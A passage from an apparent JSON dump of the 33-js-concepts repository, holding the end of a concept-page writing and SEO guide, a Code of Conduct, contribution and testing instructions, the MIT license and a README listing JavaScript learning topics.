about...\" (vague)\n- \"Everything you need to know about...\" (cliché)\n\n### Recommended Sources\n\n**Articles (Prioritize):**\n\n| Source | Why |\n|--------|-----|\n| javascript.info | Comprehensive, well-maintained, exercises included |\n| MDN Web Docs | Official reference, always accurate |\n| freeCodeCamp | Beginner-friendly, practical tutorials |\n| dev.to (Lydia Hallie, etc.) | Visual explanations, community favorites |\n| CSS-Tricks | DOM, browser APIs, visual topics |\n\n**Videos (Prioritize):**\n\n| Creator | Style |\n|---------|-------|\n| Web Dev Simplified | Clear, beginner-friendly, concise |\n| Fireship | Fast-paced, modern, entertaining |\n| Traversy Media | Comprehensive crash courses |\n| Fun Fun Function | Deep-dives with personality |\n| Wes Bos | Practical, real-world focused |\n\n**Avoid:**\n- Resources in other programming languages (C#, Python, Java) even if concepts overlap\n- Outdated tutorials (pre-ES6 syntax for modern concepts)\n- Paywalled content (unless there's a free tier)\n- Low-quality Medium articles (check engagement and accuracy)\n- Resources that teach anti-patterns\n- Videos over 2 hours (link to specific timestamps if valuable)\n\n### Verifying Resources\n\nBefore including any resource:\n\n1. **Click the link** — Verify it loads and isn't behind a paywall\n2. **Skim the content** — Ensure it's accurate and well-written\n3. **Check the date** — For time-sensitive topics, prefer recent content\n4. **Read comments/reactions** — Community feedback reveals quality issues\n5. **Test code examples** — If they include code, verify it works\n\n---\n\n## ASCII Art Diagrams\n\nUse ASCII art to visualize concepts. Make them boxed and labeled:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        THE REQUEST-RESPONSE CYCLE                        │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    YOU (Browser)                              KITCHEN (Server)           │\n│    ┌──────────┐                               ┌──────────────┐           │\n│    │          │  ──── \"I'd like pasta\" ────►  │              │           │\n│    │    :)    │         (REQUEST)             │    [chef]    │           │\n│    │          │                               │              │           │\n│    │          │  ◄──── Here you go! ────────  │              │           │\n│    │          │         (RESPONSE)            │              │           │\n│    └──────────┘                               └──────────────┘           │\n│                                                                          │\n│    The waiter (HTTP) is the protocol that makes this exchange work!      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Mintlify Components Reference\n\n| Component | When to Use |\n|-----------|-------------|\n| `<Info>` | \"What you'll learn\" boxes, Key Takeaways |\n| `<Warning>` | Common mistakes, gotchas, prerequisites |\n| `<Tip>` | Pro tips, rules of thumb, best practices |\n| `<Note>` | Additional context, side notes |\n| `<AccordionGroup>` | Expandable content, Q&A sections, optional deep-dives |\n| `<Tabs>` | Comparing different approaches side-by-side |\n| `<Steps>` | Sequential processes, numbered workflows |\n| `<CardGroup>` | Resource links (articles, videos, references) |\n| `<Card>` | Individual resource with icon and link |\n\n### Card Icons Reference\n\n| Content Type | Icon |\n|--------------|------|\n| MDN/Official Docs | `book` |\n| Articles/Blog Posts | `newspaper` |\n| Videos | `video` |\n| Courses | `graduation-cap` |\n| Related Concepts | Context-appropriate (`handshake`, `hourglass`, `arrows-spin`, `sitemap`, etc.) |\n\n---\n\n## Quality Checklist\n\nBefore finalizing a concept page, verify ALL of these:\n\n### Structure\n- [ ] Opens with engaging questions that hook the reader\n- [ ] Shows a simple code example immediately after the opening\n- [ ] Has \"What you'll learn\" Info box right after the opening\n- [ ] Major sections are separated by `---` horizontal rules\n- [ ] Has a real-world analogy with ASCII art diagram\n- [ ] Has a \"Common Mistakes\" or \"The #1 Mistake\" section\n- [ ] Has a \"Key Takeaways\" section summarizing 8-10 points\n- [ ] Has a \"Test Your Knowledge\" section with 5-6 Q&As\n- [ ] Ends with Related Concepts, Reference, Articles, Videos in that order\n\n### Linking\n- [ ] All new Web APIs/methods have inline MDN links on first mention\n- [ ] All related concepts link to their concept pages (`/concepts/slug`)\n- [ ] Reference section has multiple MDN links\n- [ ] 4-6 quality articles with descriptions\n- [ ] 3-4 quality videos with descriptions\n\n### Code Examples\n- [ ] First code example is dead simple\n- [ ] Uses step-by-step comments for complex examples\n- [ ] Shows output in comments (`// \"result\"`)\n- [ ] Uses ❌ and ✓ for wrong/correct patterns\n- [ ] Uses meaningful variable names\n- [ ] Progresses from simple to complex\n\n### Content Quality\n- [ ] Written for someone who might be new to coding\n- [ ] Prerequisites are noted with Warning component\n- [ ] No assumptions about prior knowledge without links\n- [ ] Tables used for quick reference information\n- [ ] ASCII diagrams for visual concepts\n\n### Language Quality\n- [ ] Description starts with \"Learn\" or \"Understand\" (not \"Master\")\n- [ ] No overuse of em dashes (fewer than 15 outside Key Takeaways and structured sections)\n- [ ] No AI superlatives: \"dramatically\", \"fundamentally\", \"incredibly\", \"extremely\"\n- [ ] No stiff phrases: \"one of the most important\", \"essential points\", \"It should be noted\"\n- [ ] Emphasis patterns vary (not all \"Key insight:\" or \"Best practice:\")\n- [ ] Playful touches are sparse (1-2 per major section maximum)\n- [ ] No filler words: \"basically\", \"essentially\", \"actually\", \"very\", \"really\"\n- [ ] Sentences are direct (no \"In order to\", \"Due to the fact that\")\n\n### Resource Quality\n- [ ] All article/video links are verified working\n- [ ] All resources are JavaScript-focused (no C#, Python, Java resources)\n- [ ] Each resource has a specific 2-sentence description (not generic)\n- [ ] Resource descriptions explain what makes each unique\n- [ ] No outdated resources (check dates for time-sensitive topics)\n- [ ] 4-6 articles from reputable sources\n- [ ] 3-4 videos from quality creators\n\n---\n\n## Writing Tests\n\nWhen adding code examples, create corresponding tests in `/tests/`:\n\n```javascript\n// tests/{category}/{concept-name}/{concept-name}.test.js\nimport { describe, it, expect } from 'vitest'\n\ndescribe('Concept Name', () => {\n  describe('Basic Examples', () => {\n    it('should demonstrate the core concept', () => {\n      // Convert console.log examples to expect assertions\n      expect(typeof \"hello\").toBe(\"string\")\n    })\n  })\n  \n  describe('Common Mistakes', () => {\n    it('should show the wrong behavior', () => {\n      // Test the \"wrong\" example to prove it's actually wrong\n    })\n    \n    it('should show the correct behavior', () => {\n      // Test the \"correct\" example\n    })\n  })\n})\n```\n\n---\n\n## SEO Checklist\n\nVerify these elements before publishing any concept page:\n\n### Title & Meta Description\n- [ ] **Title is 50-60 characters** — check with character counter\n- [ ] **Title ends with \"in JavaScript\"** — SEO keyword at end\n- [ ] **Title has a compelling hook** — tells reader what they'll understand\n- [ ] **sidebarTitle matches title but without \"in JavaScript\"** — cleaner navigation\n- [ ] **Description is 150-160 characters** — don't leave value on the table\n- [ ] **Description includes primary keyword** in first sentence\n- [ ] **Description includes 1-2 secondary keywords** naturally\n- [ ] **Description starts with action word** (Learn, Understand, Discover — avoid \"Master\")\n- [ ] **Description promises specific value** — what will they learn?\n\n### Keyword Placement\n- [ ] **Primary keyword in title**\n- [ ] **Primary keyword in description**\n- [ ] **Primary keyword in first paragraph** (within first 100 words)\n- [ ] **Primary keyword in at least one H2 heading**\n- [ ] **Secondary keywords in H2/H3 headings** where natural\n- [ ] **Keywords in \"What you'll learn\" box items**\n- [ ] **No keyword stuffing** — content reads naturally\n\n### Content Structure\n- [ ] **Opens with question hook** matching search intent\n- [ ] **Shows code example in first 200 words**\n- [ ] **First paragraph after H2s directly answers** the implied question\n- [ ] **Content is 1,500+ words** (comprehensive coverage)\n- [ ] **Short paragraphs** (2-4 sentences maximum)\n- [ ] **Uses bullet lists** for 3+ related items\n- [ ] **Uses numbered lists** for sequential processes\n- [ ] **Uses tables** for comparisons and reference data\n- [ ] **Key terms bolded** on first mention with MDN links\n\n### Featured Snippet Optimization\n- [ ] **\"What is X\" section has 40-60 word definition paragraph**\n- [ ] **\"How to\" sections use numbered steps or `<Steps>` component**\n- [ ] **Comparison sections use tables** with clear headers\n- [ ] **At least one H2 is phrased as a question** matching search query\n\n### Internal Linking\n- [ ] **Links to 3-5 related concept pages** in body content\n- [ ] **Uses descriptive anchor text** (not \"click here\" or \"here\")\n- [ ] **Prerequisites linked in Warning component** at start\n- [ ] **Related Concepts section has 4 cards** with relevant concepts\n- [ ] **Links appear in natural context** — not forced\n\n### Technical SEO\n- [ ] **Slug is lowercase with hyphens**\n- [ ] **Slug contains primary keyword**\n- [ ] **Slug is 3-5 words maximum**\n- [ ] **All external links use proper URLs** (no broken links)\n- [ ] **MDN links are current** (check they resolve)\n"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nWe as members, contributors, and leaders pledge to participate in our\ncommunity a harassment-free experience for everyone, regardless of age, body\nsize, visible or invisible disability, ethnicity, sex characteristics, gender\nidentity and expression, level of experience, education, socio-economic status,\nnationality, personal appearance, race, religion, or sexual identity\nand orientation.\n\nWe pledge to act and interact in ways that contribute to an open, welcoming,\ndiverse, inclusive, and healthy community.\n\n## Our Standards\n\nExamples of behavior that contributes to a positive environment for our\ncommunity includes:\n\n* Demonstrating empathy and kindness toward other people\n* Being respectful of differing opinions, viewpoints, and experiences\n* Giving and gracefully accepting constructive feedback\n* Accepting responsibility and apologizing to those affected by our mistakes,\n  and learning from the experience\n* Focusing on what is best not just for us as individuals, but for the\n  overall community\n\nExamples of unacceptable behavior include:\n\n* The use of sexualized language or imagery, and sexual attention or\n  advances of any kind\n* Trolling, insulting or derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or email\n  address, without their explicit permission\n* Other conduct that could reasonably be considered inappropriate in a\n  professional setting\n\n## Enforcement Responsibilities\n\nCommunity leaders are responsible for clarifying and enforcing our standards of\nacceptable behavior and will take appropriate and fair corrective action in\nresponse to any behavior that they deem inappropriate, threatening, offensive,\nor harmful.\n\nCommunity leaders have the right and responsibility to remove, edit, or reject\ncomments, commits, code, wiki edits, issues, and other contributions that are\nnot aligned to this Code of Conduct, and will communicate reasons for moderation\ndecisions when appropriate.\n\n## Scope\n\nThis Code of Conduct applies within all community spaces, and also applies when\nan individual is officially representing the community in public areas.\nExamples of representing our community include using an official e-mail address,\nposting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported to the community leaders responsible for enforcement at\nleonardomso11@gmail.com.\nAll complaints will be reviewed and investigated promptly and fairly.\n\nAll community leaders are obligated to respect the privacy and security of the\nreporter of any incident.\n\n## Enforcement Guidelines\n\nCommunity leaders will follow these Community Impact Guidelines in determining\nthe consequences for any action they deem in violation of this Code of Conduct:\n\n### 1. Correction\n\n**Community Impact**: Use of inappropriate language or other behavior deemed\nunprofessional or unwelcome in the community.\n\n**Consequence**: A private, written warning from community leaders, providing\nclarity around the nature of the violation and an explanation of why the\nbehavior was inappropriate. A public apology may be requested.\n\n### 2. Warning\n\n**Community Impact**: A violation through a single incident or series\nof actions.\n\n**Consequence**: A warning with consequences for continued behavior. No\ninteraction with the people involved, including unsolicited interaction with\nthose enforcing the Code of Conduct, for a specified period of time. This\nincludes avoiding interactions in community spaces as well as external channels\nlike social media. Violating these terms may lead to a temporary or\npermanent ban.\n\n### 3. Temporary Ban\n\n**Community Impact**: A serious violation of community standards, including\nsustained inappropriate behavior.\n\n**Consequence**: A temporary ban from any sort of interaction or public\ncommunication with the community for a specified period of time. No public or\nprivate interaction with the people involved, including unsolicited interaction\nwith those enforcing the Code of Conduct, is allowed during this period.\nViolating these terms may lead to a permanent ban.\n\n### 4. Permanent Ban\n\n**Community Impact**: Demonstrating a pattern of violation of community\nstandards, including sustained inappropriate behavior,  harassment of an\nindividual, or aggression toward or disparagement of classes of individuals.\n\n**Consequence**: A permanent ban from any sort of public interaction within\nthe community.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage],\nversion 2.0, available at\nhttps://www.contributor-covenant.org/version/2/0/code_of_conduct.html.\n\nCommunity Impact Guidelines were inspired by [Mozilla's code of conduct\nenforcement ladder](https://github.com/mozilla/diversity).\n\n[homepage]: https://www.contributor-covenant.org\n\nFor answers to common questions about this code of conduct, see the FAQ at\nhttps://www.contributor-covenant.org/faq. Translations are available at\nhttps://www.contributor-covenant.org/translations.\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contribution\nThis project would not be possible without your help and support, and we appreciate your willingness to contribute!\n\n## Testing\n\nThis project uses [Vitest](https://vitest.dev/) as the test runner to verify that code examples in the documentation work correctly.\n\n### Running Tests\n\n```bash\n# Run all tests once\nnpm test\n\n# Run tests in watch mode (re-runs on file changes)\nnpm run test:watch\n\n# Run tests with coverage report\nnpm run test:coverage\n```\n\n### Test Structure\n\nTests are organized by concept in the `tests/` directory:\n\n```\ntests/\n├── call-stack/\n│   └── call-stack.test.js\n├── primitive-types/\n│   └── primitive-types.test.js\n└── ...\n```\n\n### Writing Tests for Code Examples\n\nWhen adding new code examples to concept documentation, please include corresponding tests:\n\n1. **File naming**: Create `{concept-name}.test.js` in `tests/{concept-name}/`\n2. **Use explicit imports**: \n   ```javascript\n   import { describe, it, expect } from 'vitest'\n   ```\n3. **Convert console.log examples to assertions**:\n   ```javascript\n   // Documentation example:\n   // console.log(typeof \"hello\") // \"string\"\n   \n   // Test:\n   it('should return string type', () => {\n     expect(typeof \"hello\").toBe(\"string\")\n   })\n   ```\n4. **Test error cases**: Use `expect(() => { ... }).toThrow()` for operations that should throw\n5. **Skip browser-specific examples**: Tests run in Node.js, so skip DOM/window/document examples\n6. **Note strict mode behavior**: Vitest runs in strict mode, so operations that \"silently fail\" in non-strict mode will throw `TypeError`\n\n### Creating a New Translation\n\nTo create a new translation, please follow these steps:\n\n* Fork the [main repository](https://github.com/leonardomso/33-js-concepts).\n* Add yourself to the watch list of the main repository to stay updated with any changes.\n* Translate the repository on your forked copy.\n* Go to the [main repository](https://github.com/leonardomso/33-js-concepts) and edit the README.md file to include a link to your translated repository.\n* Inside the **Community** section, add a new line with the link to your translated repository in the following format:\n  * [Your language in native form (English name)](link to your repository here) — Your Name\n  * For example, `[日本語 (Japanese)](https://github.com/oimo23/33-js-concepts) — oimo23`\n* Create a new Pull Request with the name \"Add *your language here* translation.\"\n* Now, just wait for the merge!\n\n## License\nBy contributing, you agree that your contributions will be licensed under the [MIT license](./LICENSE).\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2018 Leonardo Maldonado\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "<h1 align=\"center\">\n<br>\n  <a href=\"https://github.com/leonardomso/33-js-concepts\"><img src=\"github-image.png\" alt=\"33 Concepts Every JS Developer Should Know\"></a>\n  <br>\n    <br>\n  <strong>33 Concepts Every JavaScript Developer Should Know</strong>\n  <br><br>\n</h1>\n\n<p align=\"center\">\n  <a href=\"https://33jsconcepts.com\">Read the Full Guide</a> •\n  <a href=\"#concepts\">Concepts</a> •\n  <a href=\"TRANSLATIONS.md\">Translations</a> •\n  <a href=\"CONTRIBUTING.md\">Contributing</a>\n</p>\n\n<div align=\"center\">\n  <strong>Recognized by GitHub as one of the <a href=\"https://github.blog/news-insights/octoverse/new-open-source-projects/#top-projects-of-2018\">top open source projects of 2018!</a></strong>\n</div>\n\n---\n\n## About\n\nThis repository helps developers master core JavaScript concepts. Each concept includes clear explanations, practical code examples, and curated resources.\n\n**[Start learning at 33jsconcepts.com →](https://33jsconcepts.com)**\n\n---\n\n## Concepts\n\n### Fundamentals\n\n- **[Primitive Types](https://33jsconcepts.com/concepts/primitive-types)**  \n  Learn JavaScript's 7 primitive types: string, number, bigint, boolean, undefined, null, and symbol. Understand immutability, typeof quirks, and autoboxing.\n\n- **[Primitives vs Objects](https://33jsconcepts.com/concepts/primitives-objects)**  \n  Learn how JavaScript primitives and objects differ in behavior. Understand immutability, call-by-sharing semantics, why mutation works but reassignment doesn't, and how V8 actually stores values.\n\n- **[Type Coercion](https://33jsconcepts.com/concepts/type-coercion)**  \n  Learn JavaScript type coercion and implicit conversion. Understand how values convert to strings, numbers, and booleans, the 8 falsy values, and how to avoid common coercion bugs.\n\n- **[Equality Operators](https://33jsconcepts.com/concepts/equality-operators)**  \n  Learn JavaScript equality operators == vs ===, typeof quirks, and Object.is(). Understand type coercion, why NaN !== NaN, and why typeof null returns 'object'.\n\n- **[Scope and Closures](https://33jsconcepts.com/concepts/scope-and-closures)**  \n  Learn JavaScript scope and closures. Understand the three types of scope, var vs let vs const, lexical scoping, the scope chain, and closure patterns for data privacy.\n\n- **[Call Stack](https://33jsconcepts.com/concepts/call-stack)**  \n  Learn how the JavaScript call stack tracks function execution. Understand stack frames, LIFO ordering, execution contexts, stack overflow errors, and debugging with stack traces.\n\n### Functions & Execution\n\n- **[Event Loop](https://33jsconcepts.com/concepts/event-loop)**  \n  Learn how the JavaScript event loop handles async code. Understand the call stack, task queue, microtasks, and why Promises always run before setTimeout().\n\n- **[IIFE, Modules & Namespaces](https://33jsconcepts.com/concepts/iife-modules)**  \n  Learn how to organize JavaScript code with IIFEs, namespaces, and ES6 modules. Understand private scope, exports, dynamic imports, and common module mistakes.\n\n### Web Platform\n\n- **[DOM](https://33jsconcepts.com/concepts/dom)**  \n  Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering performance.\n\n- **[Fetch API](https://33jsconcepts.com/concepts/http-fetch)**  \n  Learn how to make HTTP requests with the JavaScript Fetch API. Understand GET, POST, response handling, JSON parsing, error patterns, and AbortController for cancellation.\n\n- **[Web Workers](https://33jsconcepts.com/concepts/web-workers)**  \n  Learn Web Workers in JavaScript for running code in background threads. Understand postMessage, Dedicated and Shared Workers, and transferable objects.\n\n### Object-Oriented JavaScript\n\n- **[Factories and Classes](https://33jsconcepts.com/concepts/factories-classes)**  \n  Learn JavaScript factory functions and ES6 classes. Understand constructors, prototypes, private fields, inheritance, and when to use each pattern.\n\n- **[this, call, apply, bind](https://33jsconcepts.com/concepts/this-call-apply-bind)**  \n  Learn how JavaScript's 'this' keyword works and how to control context binding. Understand the 5 binding rules, call/apply/bind methods, arrow functions, and common pitfalls.\n\n- **[Object Creation & Prototypes](https://33jsconcepts.com/concepts/object-creation-prototypes)**  \n  Learn JavaScript's prototype chain and object creation. Understand how inheritance works, the new operator's 4 steps, Object.create(), Object.assign(), and prototype methods.\n\n- **[Inheritance & Polymorphism](https://33jsconcepts.com/concepts/inheritance-polymorphism)**  \n  Learn inheritance and polymorphism in JavaScript — extending classes, prototype chains, method overriding, and code reuse patterns.\n\n### Async JavaScript\n\n- **[Callbacks](https://33jsconcepts.com/concepts/callbacks)**  \n  Learn JavaScript callbacks, functions passed to other functions to be called later. Understand sync vs async callbacks, error-first patterns, callback hell, and why Promises were invented.\n\n- **[Promises](https://33jsconcepts.com/concepts/promises)**  \n  Learn JavaScript Promises for handling async operations. Understand how to create, chain, and combine Promises, handle errors properly, and avoid common pitfalls.\n\n- **[async/await](https://33jsconcepts.com/concepts/async-await)**  \n  Learn async/await in JavaScript. Syntactic sugar over Promises that makes async code readable. Covers error handling with try/catch, parallel execution with Promise.all, and common pitfalls.\n\n- **[Generators & Iterators](https://33jsconcepts.com/concepts/generators-iterators)**  \n  Learn JavaScript generators and iterators. Understand yield, the iteration protocol, lazy evaluation, infinite sequences, and async generators with for await...of.\n\n### Functional Programming\n\n- **[Higher-Order Functions](https://33jsconcepts.com/concepts/higher-order-functions)**  \n  Learn higher-order functions in JavaScript. Understand functions that accept or return other functions, create reusable abstractions, and write cleaner code.\n\n- **[Pure Functions](https://33jsconcepts.com/concepts/pure-functions)**  \n  Learn pure functions in JavaScript. Understand the two rules of purity, avoid side effects, and write testable, predictable code with immutable patterns.\n\n- **[map, reduce, filter](https://33jsconcepts.com/concepts/map-reduce-filter)**  \n  Learn map, reduce, and filter in JavaScript. Transform, filter, and combine arrays without mutation. Includes method chaining and common pitfalls.\n\n- **[Recursion](https://33jsconcepts.com/concepts/recursion)**  \n  Learn recursion in JavaScript. Understand base cases, recursive calls, the call stack, and patterns like factorial, tree traversal, and memoization.\n\n- **[Currying & Composition](https://33jsconcepts.com/concepts/currying-composition)**  \n  Learn currying and function composition in JavaScript. Build reusable functions from simple pieces using curry, compose, and pipe for cleaner, modular code.\n\n### Advanced Topics\n\n- **[JavaScript Engines](https://33jsconcepts.com/concepts/javascript-engines)**  \n  Learn how JavaScript engines work. Understand V8's architecture, parsing, compilation, JIT optimization, hidden classes, inline caching, and garbage collection.\n\n- **[Error Handling](https://33jsconcepts.com/concepts/error-handling)**  \n  Learn JavaScript error handling with try/catch/finally. Understand Error types, custom errors, async error patterns, and best practices for robust code.\n\n- **[Regular Expressions](https://33jsconcepts.com/concepts/regular-expressions)**  \n  Learn regular expressions in JavaScript. Covers pattern syntax, character classes, quantifiers, flags, capturing groups, and methods like test, match, and replace.\n\n- **[Modern JS Syntax](https://33jsconcepts.com/concepts/modern-js-syntax)**  \n  Learn modern JavaScript ES6+ syntax. Covers destructuring, spread/rest operators, arrow functions, optional chaining, nullish coalescing, and template literals.\n\n- **[ES Modules](https://33jsconcepts.com/concepts/es-modules)**  \n  Learn ES Modules in JavaScript. Understand import/export syntax, why ESM beats CommonJS, live bindings, dynamic imports, top-level await, and how modules enable tree-shaking.\n\n- **[Data Structures](https://33jsconcepts.com/concepts/data-structures)**  \n  Learn JavaScript data structures from built-in Arrays, Objects, Maps, and Sets to implementing Stacks, Queues, and Linked Lists. Understand when to use each structure.\n\n- **[Algorithms & Big O](https://33jsconcepts.com/concepts/algorithms-big-o)**  \n  Learn Big O notation and algorithms in JavaScript. Understand time complexity, implement searching and sorting algorithms, and recognize common interview patterns.\n\n- **[Design Patterns](https://33jsconcepts.com/concepts/design-patterns)**  \n  Learn JavaScript design patterns like Module, Singleton, Observer, Factory, Proxy, and Decorator. Understand when to use each pattern and avoid common pitfalls.\n\n- **[Clean Code](https://33jsconcepts.com/concepts/clean-code)**  \n  Learn clean code principles for JavaScript. Covers meaningful naming, small functions, DRY, avoiding side effects, and best practices to write maintainable code.\n\n---\n\n## Beyond 33: Extended Concepts\n\nReady to go deeper? These advanced topics build on the fundamentals above.\n\n### Language Mechanics\n\n- **[Hoisting](https://33jsconcepts.com/concepts/hoisting)**  \n  Learn how JavaScript hoists variable and function declarations. Understand why `var` behaves differently from `let` and `const`, function hoisting order, and how to avoid common bugs.\n\n- **[Temporal Dead Zone](https://33jsconcepts.com/concepts/temporal-dead-zone)**  \n  Learn the Temporal Dead Zone (TDZ) in JavaScript. Understand why accessing `let` and `const` before declaration throws errors, and how TDZ differs from `var` hoisting.\n\n- **[Strict Mode](https://33jsconcepts.com/concepts/strict-mode)**  \n  Learn JavaScript strict mode and how `'use strict'` catches common mistakes. Understand silent errors it prevents, forbidden syntax, and when to use it.\n\n### Type System\n\n- **[JavaScript Type Nuances](https://33jsconcepts.com/concepts/javascript-type-nuances)**  \n  Learn advanced JavaScript type behavior. Understand null vs undefined, short-circuit evaluation, typeof quirks, instanceof and Symbol.hasInstance, Symbols, and BigInt for large numbers.\n\n### Objects & Properties\n\n- **[Property Descriptors](https://33jsconcepts.com/concepts/property-descriptors)**  \n  Learn JavaScript property descriptors. Understand writable, enumerable, and configurable attributes, Object.defineProperty(), and how to create immutable object properties.\n\n- **[Getters & Setters](https://33jsconcepts.com/concepts/getters-setters)**  \n  Learn JavaScript getters and setters. Understand how to define computed properties with `get` and `set`, validate data on assignment, and create reactive object behavior.\n\n- **[Object Methods](https://33jsconcepts.com/concepts/object-methods)**  \n  Learn essential JavaScript Object methods. Master Object.keys(), Object.values(), Object.entries(), Object.fromEntries(), Object.freeze(), Object.seal(), and object cloning patterns.\n\n- **[Proxy & Reflect](https://33jsconcepts.com/concepts/proxy-reflect)**  \n  Learn JavaScript Proxy and Reflect APIs. Understand how to intercept object operations, create reactive systems, implement validation, and build powerful metaprogramming patterns.\n\n- **[WeakMap & WeakSet](https://33jsconcepts.com/concepts/weakmap-weakset)**  \n  Learn JavaScript WeakMap and WeakSet. Understand weak references, automatic garbage collection, private data patterns, and when to use them over Map and Set.\n\n### Memory & Performance\n\n- **[Memory Management](https://33jsconcepts.com/concepts/memory-management)**  \n  Learn JavaScript memory management. Understand the memory lifecycle, stack vs heap allocation, memory leaks, and how to profile memory usage in DevTools.\n\n- **[Garbage Collection](https://33jsconcepts.com/concepts/garbage-collection)**  \n  Learn how JavaScript garbage collection works. Understand mark-and-sweep, reference counting, generational GC, and how to write memory-efficient code.\n\n- **[Debouncing & Throttling](https://33jsconcepts.com/concepts/debouncing-throttling)**  \n  Learn debouncing and throttling in JavaScript. Understand how to optimize event handlers, reduce API calls, improve scroll performance, and implement both patterns from scratch.\n\n- **[Memoization](https://33jsconcepts.com/concepts/memoization)**  \n  Learn memoization in JavaScript. Understand how to cache function results, optimize expensive computations, implement memoization patterns, and when caching hurts performance.\n\n### Modern Syntax & Operators\n\n- **[Tagged Template Literals](https://33jsconcepts.com/concepts/tagged-template-literals)**  \n  Learn JavaScript tagged template literals. Understand how to create custom string processing functions, build DSLs, sanitize HTML, and use popular libraries like styled-components.\n\n- **[Computed Property Names](https://33jsconcepts.com/concepts/computed-property-names)**  \n  Learn JavaScript computed property names. Understand how to use dynamic keys in object literals, create objects from variables, and leverage Symbol keys.\n\n### Browser Storage\n\n- **[localStorage & sessionStorage](https://33jsconcepts.com/concepts/localstorage-sessionstorage)**  \n  Learn Web Storage APIs in JavaScript. Understand localStorage vs sessionStorage, storage limits, JSON serialization, storage events, and security considerations.\n\n- **[IndexedDB](https://33jsconcepts.com/concepts/indexeddb)**  \n  Learn IndexedDB for client-side storage in JavaScript. Understand how to store large amounts of structured data, create indexes, perform transactions, and handle versioning.\n\n- **[Cookies](https://33jsconcepts.com/concepts/cookies)**  \n  Learn JavaScript cookies. Understand how to read, write, and delete cookies, cookie attributes like HttpOnly and SameSite, security best practices, and when to use cookies vs Web Storage.\n\n### Events\n\n- **[Event Bubbling & Capturing](https://33jsconcepts.com/concepts/event-bubbling-capturing)**  \n  Learn JavaScript event bubbling and capturing. Understand the three phases of event propagation, stopPropagation(), event flow direction, and when to use each phase.\n\n- **[Event Delegation](https://33jsconcepts.com/concepts/event-delegation)**  \n  Learn event delegation in JavaScript. Understand how to handle events efficiently using bubbling, manage dynamic elements, reduce memory usage, and implement common delegation patterns.\n\n- **[Custom Events](https://33jsconcepts.com/concepts/custom-events)**  \n  Learn JavaScript custom events. Understand how to create, dispatch, and listen for CustomEvent, pass data between components, and build decoupled event-driven architectures.\n\n### Observer APIs\n\n- **[Intersection Observer](https://33jsconcepts.com/concepts/intersection-observer)**  \n  Learn the Intersection Observer API. Understand how to detect element visibility, implement lazy loading, infinite scroll, and animate elements on scroll efficiently.\n\n- **[Mutation Observer](https://33jsconcepts.com/concepts/mutation-observer)**  \n  Learn the Mutation Observer API. Understand how to watch DOM changes, detect attribute modifications, observe child elements, and replace deprecated mutation events.\n\n- **[Resize Observer](https://33jsconcepts.com/concepts/resize-observer)**  \n  Learn the Resize Observer API. Understand how to respond to element size changes, build responsive components, and replace inefficient window resize listeners.\n\n- **[Performance Observer](https://33jsconcepts.com/concepts/performance-observer)**  \n  Learn the Performance Observer API. Understand how to measure page performance, track Long Tasks, monitor layout shifts, and collect Core Web Vitals metrics.\n\n### Data Handling\n\n- **[JSON Deep Dive](https://33jsconcepts.com/concepts/json-deep-dive)**  \n  Learn advanced JSON in JavaScript. Understand JSON.stringify() replacers, JSON.parse() revivers, handling circular references, BigInt serialization, and custom toJSON methods.\n\n- **[Typed Arrays & ArrayBuffers](https://33jsconcepts.com/concepts/typed-arrays-arraybuffers)**  \n  Learn JavaScript Typed Arrays and ArrayBuffers. Understand binary data handling, DataView, working with WebGL, file processing, and network protocol implementation.\n\n- **[Blob & File API](https://33jsconcepts.com/concepts/blob-file-api)**  \n  Learn JavaScript Blob and File APIs. Understand how to create, read, and manipulate binary data, handle file uploads, generate downloads, and work with FileReader.\n\n- **[requestAnimationFrame](https://33jsconcepts.com/concepts/requestanimationframe)**  \n  Learn requestAnimationFrame in JavaScript. Understand how to create smooth 60fps animations, sync with browser repaint cycles, and optimize animation performance.\n\n---\n\n## Translations\n\nThis project has been translated into 40+ languages by our amazing community!\n\n**[View all translations →](TRANSLATIONS.md)**\n\n---\n\n## Contributing\n\nWe welcome contributions! See our [Contributing Guidelines](CONTRIBUTING.md) for details.\n\n---\n\n## License\n\nMIT © [Leonardo Maldonado](https://github.com/leonardomso)\n\n---\n\n<div align=\"center\">\n  <strong>If you find this helpful, please star the repo!</strong>\n</div>\n"
  },
  {
    "path": "TRANSLATIONS.md",
